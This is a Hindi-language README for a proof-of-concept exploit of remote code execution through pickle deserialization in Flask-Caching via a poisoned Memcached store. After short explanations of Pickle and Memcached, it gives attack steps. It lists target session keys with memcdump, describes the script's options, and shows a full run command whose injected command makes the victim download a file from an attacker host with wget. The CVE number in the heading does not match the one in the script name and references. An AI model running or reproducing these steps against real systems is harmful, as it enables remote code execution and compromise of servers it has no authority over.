
Pickle Serialization रिमोट कोड निष्पादन - Memcached पॉइज़निंग
Pickle सीरियलाइज़ेशन रिमोट कोड एक्ज़ीक्यूशन - मेमकैश्ड पॉइज़निंग PoC एक्सप्लॉइट
CVE-2021-3306 क्या है?
"Flask के लिए Flask-Caching एक्सटेंशन 1.10.1 तक सीरियलाइज़ेशन के लिए Pickle का उपयोग करता है, जिससे रिमोट कोड एक्ज़ीक्यूशन या लोकल प्रिविलेज एस्केलेशन हो सकता है। यदि कोई हमलावर कैश स्टोरेज (जैसे, फाइलसिस्टम, मेमकैश्ड, Redis, आदि) तक पहुंच प्राप्त कर लेता है, तो वह एक क्राफ्टेड पेलोड बना सकता है, कैश को पॉइज़न कर सकता है, और पायथन कोड निष्पादित कर सकता है।"
Pickle लाइब्रेरी का कार्य क्या है?
"पायथन में Pickle का उपयोग मुख्य रूप से पायथन ऑब्जेक्ट संरचना को सीरियलाइज़ और डिसीरियलाइज़ करने में किया जाता है। दूसरे शब्दों में, यह एक पायथन ऑब्जेक्ट को बाइट स्ट्रीम में बदलने की प्रक्रिया है ताकि इसे फ़ाइल/डेटाबेस में संग्रहीत किया जा सके, सत्रों के बीच प्रोग्राम की स्थिति बनाए रखी जा सके, या नेटवर्क पर डेटा परिवहन किया जा सके।"
मेमकैश्ड क्या है?
"मेमकैश्ड एक सामान्य-उद्देश्यीय वितरित मेमोरी-कैशिंग सिस्टम है। इसका उपयोग अक्सर डेटा और ऑब्जेक्ट को RAM में कैश करके डायनामिक डेटाबेस-संचालित वेबसाइटों को गति देने के लिए किया जाता है, ताकि बाहरी डेटा स्रोत को पढ़ने की संख्या कम हो सके।"
[!] शोषण (Exploitation):
1. एक्सप्लॉइट को काम करने के लिए एक सत्र कुकी प्रदान करना आवश्यक है, क्यों? इस प्रूफ ऑफ कॉन्सेप्ट में हमारे पास एक मामला है जहां एक संवेदनशील Flask एप्लिकेशन का सत्र कुकी मेमकैश्ड सेवा द्वारा प्रबंधित या संग्रहीत किया जा रहा है:
memcdump --servers=target_machine_ip_address

2. एक्सप्लॉइट का उपयोग:
-h --> help menu
--cmd --> लक्ष्य मशीन पर निष्पादित होने वाला कमांड
--rhost --> लक्ष्य मशीन का IP पता
--rport --> लक्ष्य मशीन का पोर्ट
--cookie --> संवेदनशील Flask एप्लिकेशन से आपका वास्तविक सत्र कुकी। उदाहरण: session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. एक्सप्लॉइट चलाना:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

संदर्भ (Reference):
https://nvd.nist.gov/vuln/detail/CVE-2021-33026
https://github.com/pallets-eco/flask-caching/pull/209
https://www.synopsys.com/blogs/software-security/python-pickling/